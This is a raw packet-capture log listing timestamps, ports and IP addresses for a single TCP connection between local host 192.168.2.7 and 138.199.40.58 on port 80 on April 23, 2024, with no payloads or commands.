Apr 23, 2024 08:39:59.263957024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263961077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263968945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263982058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.263989925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.263993979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264007092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264024973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264070988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264091969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264122009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264142990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264157057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264180899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264199018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264297009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264309883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264322042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264333963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264345884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264353991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264358044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264369965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264374971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264383078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264391899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264394999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264408112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264414072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264420033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264427900 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264453888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264466047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264472961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264487982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264501095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264507055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264523983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264590025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264611006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264611006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264630079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264648914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264672995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264692068 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264736891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264785051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264797926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264805079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264811993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264834881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264853001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264858961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264879942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264900923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264929056 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.264930964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.264967918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265001059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265014887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.265075922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265088081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265100956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265114069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265125990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265134096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.265134096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.265139103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265151978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265172005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.265197039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265218019 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.265263081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265275002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265285969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265299082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265306950 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.265310049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265332937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265342951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.265342951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.265363932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265410900 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.265430927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265444040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265502930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265522003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.265541077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265588045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265646935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265660048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265671968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265676975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.265676975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.265683889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265729904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265743017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265753031 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.265832901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265853882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.265923977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.265944958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.266006947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266020060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266031981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266077042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.266077042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.266089916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266102076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266124010 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266143084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.266175985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266226053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266243935 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.266278028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266290903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266315937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266335964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.266357899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266372919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.266415119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266427994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266448021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.266469955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266493082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266511917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.266516924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266577959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.266581059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266603947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266653061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266673088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.266732931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266746998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266755104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.266808987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266829967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.266861916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266875029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266881943 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.266894102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.266912937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.266944885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267009974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267030001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.267060995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267098904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267185926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.267200947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267214060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267227888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267271996 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.267271996 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.267296076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267451048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267520905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267529964 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.267534018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267591953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267604113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267615080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.267617941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267642021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267664909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.267749071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267761946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267766953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.267775059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267805099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267817974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267826080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.267831087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.267847061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.267976046 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268008947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268022060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268033028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268045902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268059015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268064022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268070936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268078089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268083096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268095016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268106937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268115044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268126965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268136978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268137932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268148899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268161058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268168926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268173933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268186092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268192053 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268198013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268209934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268222094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268229008 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268233061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268240929 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268244028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268255949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268264055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268266916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268280029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268286943 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268290043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268302917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268311977 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268315077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268326998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268332005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268338919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268351078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268357992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268362999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268373966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268381119 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268384933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268395901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268408060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268414974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268419981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268430948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268439054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268441916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268454075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268461943 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268461943 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268466949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268477917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268490076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268500090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268501997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268515110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268522978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268527031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268539906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268544912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268551111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268562078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268572092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268573999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268585920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268590927 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268596888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268608093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268615961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268620014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268631935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268645048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268651962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268663883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268731117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268750906 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268785954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268847942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268879890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268893003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.268897057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.268912077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.269284964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.269345045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.269359112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.269366980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.269399881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.269412994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.269447088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.269490957 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.269577026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.269706964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.269794941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.269798994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.269843102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.269895077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.269915104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.269929886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.269942999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.269954920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270003080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270004034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.270004034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.270015955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270049095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270068884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.270132065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270195007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270250082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270272017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.270344973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270365000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.270385981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270431042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270445108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270451069 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.270482063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270494938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270502090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.270546913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270567894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.270642996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270654917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270665884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270678997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270690918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270698071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.270703077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270714998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270725012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.270725012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.270749092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270766973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270775080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.270833969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270858049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.270917892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270931005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270942926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270965099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.270975113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270988941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.270994902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.271069050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271083117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271089077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.271095037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271106958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271120071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271125078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.271131992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271145105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.271151066 CEST	49705	80	192.168.2.7	138.199.40.58
